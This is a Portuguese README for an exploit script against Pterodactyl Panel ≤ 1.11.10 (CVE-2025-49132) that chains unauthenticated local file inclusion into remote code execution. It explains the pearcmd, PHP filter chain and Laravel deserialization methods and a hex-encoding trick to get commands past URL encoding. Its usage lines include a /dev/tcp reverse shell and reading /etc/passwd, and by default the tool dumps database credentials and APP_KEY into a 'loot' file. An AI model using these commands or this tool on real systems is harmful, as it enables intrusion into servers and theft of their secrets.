
Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI não autenticado para RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI não autenticado para RCE.
O endpoint /locales/locale.json aceita os parâmetros locale e namespace que são passados diretamente para a função include() do PHP sem sanitização ou autenticação. O parâmetro hash que deveria prevenir abusos nunca é verificado em versões não corrigidas.
Isso permite:
.php (credenciais do banco de dados, APP_KEY, e-mail, sessão…)pearcmd.php (truque register_argc_argv + config-create), cadeias de filtros PHP, ou desserialização Laravel com o APP_KEY vazadoAfetado: Pterodactyl Panel ≤ 1.11.10 Corrigido em: 1.11.11
Os PoCs originais usam Python requests para enviar o payload pearcmd. O problema: requests codifica silenciosamente na URL caracteres como <, >, {, } - o que quebra as tags PHP (<?=system(...)?>) embutidas na URL.
Este exploit corrige isso com duas mudanças principais:
curl para o Estágio 1 - A requisição de criação do payload usa curl -g (globoff) via subprocess, ignorando completamente a codificação de URL do Python.hex2bin() para codificação de comandos - Em vez de injetar o comando bruto (que quebra com espaços e caracteres especiais), o comando é codificado em hex e decodificado no servidor com system(hex2bin('...')). Hex usa apenas 0-9a-f - sem +, sem =, sem &, sem espaços. Isso significa que qualquer comando funciona, incluindo shells reversos com >& e /dev/tcp/.pip install requests
Opcional (para métodos de RCE por cadeia de filtros / desserialização):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
| Opção | Descrição |
|---|---|
target | URL alvo (ex.: http://panel.pterodactyl.fr) |
--rce-cmd CMD | Executa CMD via pearcmd (suporta qualquer comando, incluindo shells reversos) |
--rce-filter CMD | Executa CMD via cadeia de filtros PHP |
--filter-chain CHAIN | Usa uma cadeia php://filter pré-gerada (com --rce-filter) |
--rce-d CMD | Executa CMD via desserialização Laravel |
--pear-dir PATH | Caminho para o diretório do pearcmd.php (padrão: /usr/share/php) |
--timeout N | Tempo limite de requisição em segundos (padrão: 10) |
--verify-ssl | Ativa verificação do certificado SSL (desativado por padrão) |
-o FILE | Arquivo de relatório de saída (padrão: loot.json) |
--pear-dir| Distribuição | Caminho |
|---|---|
| Debian / Ubuntu | /usr/share/php (padrão) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 ou /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |
Quando executado sem --rce-cmd / --rce-filter / --rce-d, o exploit realiza uma extração completa de configuração:
/etc/passwd, hostname, versão do kernelUm relatório JSON completo é salvo em loot.json (ou caminho personalizado via -o).
Este exploit é uma melhoria baseada no PoC de GRodolphe/CVE-2025-49132_poc, ele próprio inspirado pelo PoC original de 0xtensho/CVE-2025-49132-poc.